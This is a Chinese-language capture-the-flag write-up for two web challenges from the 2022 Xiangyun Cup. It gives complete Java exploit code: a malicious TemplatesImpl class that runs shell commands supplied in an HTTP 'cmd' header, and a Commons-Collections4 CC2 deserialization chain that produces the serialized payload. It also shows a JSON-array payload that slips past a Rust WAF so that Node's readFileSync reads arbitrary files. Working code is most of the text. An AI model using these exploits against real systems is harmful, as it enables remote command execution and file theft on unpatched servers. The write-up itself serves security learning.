2022祥云杯初赛

ezjava

直接查看依赖,含有commons-collections4依赖

img

cc2

不出网的恶意类构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package cc2;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}

网上找个cc2的链子,简单修改下,exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package cc2;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception {
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("cc2.Evil");
// CtClass ctClass = classPool.getCtClass("cc2.Evil");
byte[] bytes = ctClass.toBytecode();

//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance, "TestTemplatesImpl");

//构造利用链
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformer_comparator = new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

//设置comparator属性
Field field = queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformer_comparator);

//设置queue属性
field = queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
field.set(queue, objects);

//序列化 ---> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();


byte[] aaa = serialize(queue);
System.out.println(Base64.getEncoder().encodeToString(aaa));


ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
}

修改CT,header添加cmd: cat /flag,获得flag

img

RustWaf

比赛没做出来,赛后复现下

主要功能在/readfile路由,会将post的信息作为参数body调用rust程序

在本地运行,进行了一点修改,主要逻辑不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}

pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ //转小写,进行字符串匹配
return String::from("1111111111");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) { // 将字符串转换为json对象
// println!("转换json对象成功");
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { // 这里判断如果存在protocol属性,就直接return
return String::from("22222222222222");
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) { //反序列化时,如果protocol没有赋值,就会去default_protocol函数进行赋值为http
// print!("是struct结构");
return serde_json::to_string(&file).unwrap_or(String::from("3333333333333"));
}
} else{
//body not json
// println!("body not json");
return String::from(body);
}
return String::from("444444444444444");
}

fn main() {
let args: Vec<String> = env::args().collect();
// let args: &str = "{\"href\":\"127.0.0.1\",\"origin\":\"127.0.0.1\",\"pathname\":\"/js/test.js\",\"hostname\":\"127.0.0.1\"}";
// let args: &str = "{\"protocol\":\"file\",\"href\":\"127.0.0.1\",\"origin\":\"127.0.0.1\",\"pathname\":\"/js/test.js\",\"hostname\":\"127.0.0.1\"}";
println!("{}", waf(&args[1]));
// println!("{}", waf(args));
}

首先将将参数传入waf函数

image-20221031113011754

首先将字符串转小写,判断是否含有flagproc字符串

image-20221031113131332

而后尝试转换为json对象,对键值判断是否含有BLACK_PROPERTY(也就是protocol)

然后将其作为struct对象反序列化,将其返回,经过调试,返回的字符串大致为{"protocol":"file:","href":"1","origin":"1","pathname":"/D:\\projects\\fl%61g.txt","hostname":""}这个样子

image-20221031113617982

而后js程序将其返回的字符串尝试转化为json数据,而后使用readFileSync读取

image-20221031114132763

我们看fs.readFileSync的函数定义,其参数是可以整一个URL类对象的

image-20221031152632401

我们会发现URL类的属性和题目给的File结构体极其相似

image-20221031152859412

所以之前通过let Ok(file) = serde_json::from_str::<File>(body)来反序列化,得到

1
{"protocol":"file:","href":"1","origin":"1","pathname":"/D:\\projects\\fl%61g.txt","hostname":""}

image-20221031153038535

但是要过两个waf,一个是对flag和proc字符串的过滤,另一个对键的过滤,不能包括BLACK_PROPERTY(也就是protocol)

前者可以通过url编码绕过

1
2
3
4
> fs.readFileSync(new URL("file:///app/flag.txt")).toString()
'corctf{test_flag}'
> fs.readFileSync(new URL("file:///app/fl%61g.txt")).toString()
'corctf{test_flag}'

后者可以通过传array格式来绕过,不用传递key,从而绕过对protocol的检测

payload,注意修改CT为application/json

1
2
3
4
5
6
7
[
"file:",
"1",
"1",
"/D:\\projects\\fl%61g.txt",
""
]

image-20221031112431324

自己还是太菜了,继续加油学(ง •_•)ง

参考链接

  1. [exp10it/2022 祥云杯 Web Writeup.md at 3f9366ccdc301a4917e2c41a8f08686d8308014d · X1r0z/exp10it (github.com)](https://github.com/X1r0z/exp10it/blob/3f9366ccdc301a4917e2c41a8f08686d8308014d/content/posts/Web/Writeup/2022 祥云杯 Web Writeup.md)
  2. corCTF 2022 Challenges (brycec.me)
  3. File system | Node.js v19.0.0 Documentation (nodejs.org)
  4. 2022 第三届“祥云杯” writeup by Arr3stY0u (qq.com)